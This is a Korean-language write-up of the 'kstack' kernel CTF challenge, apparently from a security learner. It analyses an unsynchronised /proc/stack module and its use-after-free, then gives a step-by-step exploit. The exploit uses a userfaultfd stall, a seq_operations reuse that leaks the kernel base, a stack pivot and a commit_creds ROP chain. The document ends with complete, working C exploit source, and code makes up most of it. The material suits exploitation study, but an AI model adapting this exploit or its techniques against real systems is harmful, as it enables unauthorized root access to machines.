kstack
취약점 분석
1. 전역 연결 리스트에 대한 동기화 부재
/proc/stack은 모든 호출자가 공유하는 전역 변수 head를 단일 연결 리스트의 시작점으로 사용한다. 그러나 CMD_PUSH와 CMD_POP 어디에도 mutex나 spinlock 같은 동기화가 없다. owner에는 PID가 아니라 task_tgid_nr(current)가 저장되므로 같은 프로세스의 스레드는 모두 같은 owner 값을 가진다. 따라서 공격자는 메인 스레드와 userfaultfd 핸들러 스레드에서 같은 객체를 동시에 조작할 수 있다.
Element *head = NULL;
static long proc_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
Element *tmp, *prev;
int pid = task_tgid_nr(current);
switch (cmd)
{
case CMD_PUSH:
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
tmp->owner = pid;
tmp->fd = head;
head = tmp;
/* ... */
break;
case CMD_POP:
for (tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd)
{
if (tmp->owner == pid)
{
/* ... */
kfree(tmp);
break;
}
}
break;
}
return 0;
}이 경쟁 조건으로 다음 문제가 발생할 수 있다.
PUSH와POP의 경쟁으로 해제된 객체에 대한 읽기 및 쓰기- 두
POP의 경쟁으로 동일 객체를 두 번 해제하는 double free - 두
PUSH의 경쟁으로 리스트 갱신이 유실되는 lost update
최종 익스플로잇은 첫 번째 경우를 이용해 커널 주소를 릭하고 함수 포인터를 덮어쓴다.
2. 사용자 메모리 접근 전 객체 공개로 인한 UAF
CMD_PUSH는 새 Element를 head에 연결한 다음 copy_from_user()를 수행한다. 사용자 주소에서 page fault가 발생하면 copy_from_user()는 sleep할 수 있다. 그동안 다른 스레드가 CMD_POP을 호출하면 아직 초기화되지 않은 tmp->value를 읽고 해당 객체를 해제할 수 있다. 이후 page fault가 해결되면 중단됐던 copy_from_user()가 재개되어 이미 해제된 tmp->value에 8바이트를 쓴다.
case CMD_PUSH:
tmp = kmalloc(sizeof(Element), GFP_KERNEL);
tmp->owner = pid;
tmp->fd = head;
head = tmp;
if (copy_from_user((void *)&tmp->value, (void *)arg, sizeof(unsigned long)))
{
head = tmp->fd;
kfree(tmp);
return -EINVAL;
}
break;CMD_POP도 copy_to_user()가 끝난 뒤 객체를 리스트에서 제거한다. 따라서 usercopy가 중단되는 동안 리스트에는 조작 가능한 객체가 계속 남아 있다.
case CMD_POP:
for (tmp = head, prev = NULL; tmp != NULL; prev = tmp, tmp = tmp->fd)
{
if (tmp->owner == pid)
{
if (copy_to_user((void *)arg, (void *)&tmp->value, sizeof(unsigned long)))
return -EINVAL;
if (prev)
prev->fd = tmp->fd;
else
head = tmp->fd;
kfree(tmp);
break;
}
if (tmp->fd == NULL)
return -EINVAL;
}
break;x86-64에서 Element의 크기는 0x18바이트이므로 kmalloc-32 캐시에서 할당된다.
Element +0x00: owner
Element +0x08: value
Element +0x10: fdstruct seq_operations도 네 개의 함수 포인터로 구성된 0x20바이트 객체다.
seq_operations +0x00: start
seq_operations +0x08: stop
seq_operations +0x10: next
seq_operations +0x18: show두 객체가 같은 slab 캐시를 사용하므로 해제된 seq_operations를 Element로 재할당하면 value 위치에서 stop 함수 포인터를 읽을 수 있다. 반대로 해제된 Element를 seq_operations로 재할당한 뒤 지연된 copy_from_user()를 재개하면 stop을 원하는 커널 주소로 덮어쓸 수 있다.
Exploit 과정
Step 1: userfaultfd로 copy_from_user() 중단
익명 페이지를 UFFDIO_REGISTER_MODE_MISSING으로 등록한다. 해당 페이지를 CMD_PUSH의 인자로 전달하면 커널은 Element를 리스트에 연결한 뒤 copy_from_user()에서 멈춘다. userfaultfd 핸들러는 이 시점에 별도 스레드에서 실행된다.
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_uffd(page, 0x1000);
close(seq_fd);
kstack_push(page);핸들러는 첫 page fault에서 CMD_POP을 호출한다. 두 스레드는 같은 TGID를 사용하므로 owner 검사를 통과한다.
if (uffd_cnt++ == 0)
{
kstack_pop(&value);
info("uffd_cnt = %d / userfaultfd triggered", uffd_cnt);
}Step 2: single_stop 릭과 KASLR 우회
/proc/self/stat을 열면 single_open()이 kmalloc-32에 seq_operations를 할당한다. 파일을 닫아 이를 해제한 직후 CMD_PUSH를 호출하면 LIFO 방식의 SLUB freelist에 의해 같은 청크가 Element로 재사용될 수 있다.
CMD_PUSH는 owner와 fd만 기록하고 value를 기록하기 전에 page fault로 중단된다. 따라서 Element.value에는 이전 seq_operations.stop, 즉 single_stop 주소가 남아 있다. 핸들러의 CMD_POP이 이 값을 사용자 공간의 value로 복사한다.
seq_fd = open("/proc/self/stat", O_RDONLY);
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_uffd(page, 0x1000);
close(seq_fd);
kstack_push(page);
kbase = value - 0x13be80;
info("kbase = 0x%lx", kbase);사용한 커널에서 single_stop의 _text 기준 오프셋은 0x13be80이다. 릭한 주소에서 이를 빼면 KASLR이 적용된 커널 베이스를 구할 수 있다.
Step 3: 커널 심볼과 ROP 가젯 계산
커널 베이스에 정적 오프셋을 더해 권한 상승 함수, 커널 복귀 trampoline, 스택 피벗 가젯의 실제 주소를 계산한다.
pop_rdi = kbase + 0x34505;
mov_rdi_rax_rep_movsq_pop_rbp_ret = kbase + 0x1877f;
pop_rcx = kbase + 0x38af4;
swapgs_restore_regs_and_return_to_usermode = kbase + 0x600a34 + 22;
commit_creds = kbase + 0x69c10;
prepare_kernel_cred = kbase + 0x69e00;
mov_esp_0x5b000000_pop_r12_pop_rbp_ret = kbase + 0x256ee5;mov esp, 0x5b000000; pop r12; pop rbp; ret 가젯은 커널의 RSP를 사용자 공간에 준비한 가짜 스택으로 옮긴다. SMEP는 사용자 공간의 코드를 커널 모드에서 실행하는 것만 막으므로, 사용자 페이지에서 ROP 주소를 읽어 커널 가젯만 실행하는 방식으로 우회할 수 있다. 실행 환경에는 SMAP이 활성화되어 있지 않아 커널이 이 사용자 페이지를 스택으로 읽을 수 있다.
Step 4: UAF write로 seq_operations.stop 덮어쓰기
첫 번째 fault가 해결된 페이지를 MADV_DONTNEED로 다시 비워 다음 접근에서 page fault가 발생하도록 만든다. UFFDIO_COPY 후에도 기존 userfaultfd 등록은 유지되므로 이 missing fault도 핸들러가 처리한다. 두 번째 CMD_PUSH가 copy_from_user()에서 멈추면 핸들러가 CMD_POP으로 현재 Element를 해제하고 곧바로 /proc/self/stat을 연다. 새 seq_operations가 방금 해제한 청크를 재사용한다.
madvise(page, 0x1000, MADV_DONTNEED);
register_uffd(page, 0x1000);
kstack_push(page);else
{
kstack_pop(&value);
seq_fd = open("/proc/self/stat", O_RDONLY);
info("uffd_cnt = %d / userfaultfd triggered", uffd_cnt);
}핸들러는 fault를 해결할 페이지의 첫 8바이트에 스택 피벗 가젯을 기록한다. 중단됐던 copy_from_user(&tmp->value, page, 8)가 재개되면 tmp는 이미 seq_operations가 되었으므로 오프셋 0x08의 stop 함수 포인터가 피벗 가젯으로 바뀐다.
memset((void *)uffdio_copy.src, 0, 0x1000);
if (uffd_cnt == 2)
{
*(unsigned long *)uffdio_copy.src = mov_esp_0x5b000000_pop_r12_pop_rbp_ret;
}
uffdio_copy.dst = msg.arg.pagefault.address & ~0xfff;
uffdio_copy.len = 0x1000;
ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy);Step 5: 가짜 스택과 권한 상승 ROP 체인 구성
스택 피벗의 목적지인 0x5b000000 주변을 매핑한다. memset()으로 전체 영역을 미리 fault-in하여 커널이 피벗한 직후 stack page fault로 double fault가 발생하지 않게 한다.
피벗 가젯의 pop r12; pop rbp; ret가 앞의 두 dummy를 소비한 뒤 ROP 체인이 시작된다. prepare_kernel_cred(0)의 반환값을 RDI로 옮겨 commit_creds()에 전달한다. rep movsq의 부작용을 막기 위해 RCX는 0으로 설정한다.
fake = mmap(0x5b000000 - 0x2000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x2000;
memset(fake-0x2000, 0, 0x10000);
unsigned long *rop = (unsigned long *)(fake);
int i = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx;
rop[i++] = 0;
rop[i++] = mov_rdi_rax_rep_movsq_pop_rbp_ret;
rop[i++] = 0;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = &shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;swapgs_restore_regs_and_return_to_usermode + 22는 두 개의 dummy 값을 소비한 뒤 iretq 프레임을 사용해 사용자 공간의 shell()로 안전하게 복귀한다.
Step 6: 변조된 콜백 호출
seq_fd를 읽으면 seq_file 코드가 변조된 seq_operations.stop을 호출한다. 스택 피벗과 ROP 체인이 실행되어 현재 프로세스의 credential이 root로 변경되고, trampoline을 통해 shell()로 복귀한다.
save_user_state();
create_fake_stack();
read(seq_fd, page, 0x1000);Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <stdint.h>
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#define CMD_PUSH 0x57ac0001
#define CMD_POP 0x57ac0002
int fd, seq_fd;
int uffd_cnt = 0;
unsigned long value = 0;
void *page, *fake = NULL;
unsigned long kbase = 0;
unsigned long pop_rdi, mov_rdi_rax_rep_movsq_pop_rbp_ret, pop_rcx, mov_esp_0x5b000000_pop_r12_pop_rbp_ret;
unsigned long commit_creds, prepare_kernel_cred, swapgs_restore_regs_and_return_to_usermode;
unsigned long user_cs, user_ss, user_rflags, user_sp;
void kstack_push(unsigned long *value)
{
ioctl(fd, CMD_PUSH, value);
}
void kstack_pop(unsigned long *value)
{
ioctl(fd, CMD_POP, value);
}
void *uffd_handler(void *arg)
{
while (1)
{
struct uffd_msg msg;
ssize_t nread = read((int)(long)arg, &msg, sizeof(msg));
if (nread == 0)
break;
else if (nread == -1)
break;
if (msg.event != UFFD_EVENT_PAGEFAULT)
break;
if (uffd_cnt++ == 0)
{
kstack_pop(&value);
info("uffd_cnt = %d / userfaultfd triggered", uffd_cnt);
}
else
{
kstack_pop(&value);
seq_fd = open("/proc/self/stat", O_RDONLY);
info("uffd_cnt = %d / userfaultfd triggered", uffd_cnt);
}
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long)malloc(0x1000);
memset((void *)uffdio_copy.src, 0, 0x1000);
if (uffd_cnt == 2)
{
*(unsigned long *)uffdio_copy.src = mov_esp_0x5b000000_pop_r12_pop_rbp_ret; // overwrite seq_operations struct's stop
}
uffdio_copy.dst = msg.arg.pagefault.address & ~0xfff;
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
ioctl((int)(long)arg, UFFDIO_COPY, &uffdio_copy);
}
}
int register_uffd(void *addr, size_t len)
{
int uffd = syscall(SYS_userfaultfd, O_CLOEXEC | O_NONBLOCK);
struct uffdio_api uffdio_api;
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
ioctl(uffd, UFFDIO_API, &uffdio_api);
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long)addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
pthread_t uffd_thread;
pthread_create(&uffd_thread, NULL, uffd_handler, (void *)(long)uffd);
return uffd;
}
void save_user_state()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
info("user state saved!");
}
void create_fake_stack()
{
fake = mmap(0x5b000000 - 0x2000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x2000;
memset(fake-0x2000, 0, 0x10000);
info("fake stack mmaped at %p", fake);
unsigned long *rop = (unsigned long *)(fake);
int i = 0;
rop[i++] = 0; // dummy
rop[i++] = 0; // dummy
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx;
rop[i++] = 0;
rop[i++] = mov_rdi_rax_rep_movsq_pop_rbp_ret;
rop[i++] = 0;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore_regs_and_return_to_usermode;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = &shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
}
int main()
{
important("happy hacking!");
pin_cpu(0);
fd = open("/proc/stack", O_RDWR);
if (fd < 0)
{
important("[-] open failed");
return -1;
}
info("open /proc/stack success");
// open seq_operations struct
seq_fd = open("/proc/self/stat", O_RDONLY);
info("open /proc/self/stat success");
// leak kernel base address
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_uffd(page, 0x1000);
close(seq_fd);
info("close seq_fd");
kstack_push(page); // -> this will trigger a page fault
kbase = value - 0x13be80;
info("kbase = 0x%lx", kbase);
// calc gadgets address
pop_rdi = kbase + 0x34505;
mov_rdi_rax_rep_movsq_pop_rbp_ret = kbase + 0x1877f;
pop_rcx = kbase + 0x38af4;
swapgs_restore_regs_and_return_to_usermode = kbase + 0x600a34 + 22;
commit_creds = kbase + 0x69c10;
prepare_kernel_cred = kbase + 0x69e00;
mov_esp_0x5b000000_pop_r12_pop_rbp_ret = kbase + 0x256ee5;
// clean up
for (int i = 0; i < 10; i++)
{
value = 0xdeadbeef;
kstack_push(&value);
}
// uaf -> overwrite seq_operations struct's stop
madvise(page, 0x1000, MADV_DONTNEED);
register_uffd(page, 0x1000);
kstack_push(page); // -> this will trigger a page fault
info("overwrite seq_operations struct's stop");
// trigger seq_operations struct's stop
save_user_state();
create_fake_stack();
read(seq_fd, page, 0x1000); // -> this will trigger a page fault and execute the rop chain
return 0;
}